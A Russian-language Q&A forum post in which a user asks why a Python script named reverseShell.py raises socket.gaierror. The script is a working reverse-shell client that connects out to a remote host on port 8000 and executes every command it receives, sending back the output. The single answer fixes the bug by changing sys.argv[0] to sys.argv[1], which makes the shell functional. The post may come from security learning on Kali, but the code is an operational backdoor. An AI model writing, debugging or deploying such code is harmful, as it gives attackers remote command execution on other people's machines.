Код на python не работает проблема с socket.gaierror
При запуске этого кода:
import sys
from subprocess import Popen, PIPE
from socket import *
serverName = sys.argv[0]
serverPort = 8000
# Создать IPv4(AF_INET), TCP-сокет (Sock_Stream)
clientSocket = socket(AF_INET, SOCK_STREAM)
clientSocket.connect((serverName , serverPort))
clientSocket.send('Bot reporting for duty'.encode())
command = clientSocket.recv(4064).decode()
while command != "exit" :
proc = Popen(command.split(" "), stdout=PIPE, stderr=PIPE)
result, err = proc.communicate()
clientSocket.send(result)
command = (clientSocket.recv(4064)).decode()
clientSocket.close()
На 8 строке выдает ошибку:
File "/home/kali/Desktop/9876/reverseShell.py", line 8, in <module>
clientSocket.connect((serverName , serverPort))
socket.gaierror: [Errno -2] Name or service not known
Ошибок в коде вроде нету, найти ответ не смог, ума не приложу, что не так.
Ответы (1 шт):
Автор решения: gil9red
→ Ссылка
В sys.argv[0] путь до текущего файла, т.е. у вас там будет /home/kali/Desktop/9876/reverseShell.py
Думаю, вы передаете имя в аргументе, поэтому должно быть так:
serverName = sys.argv[1]
...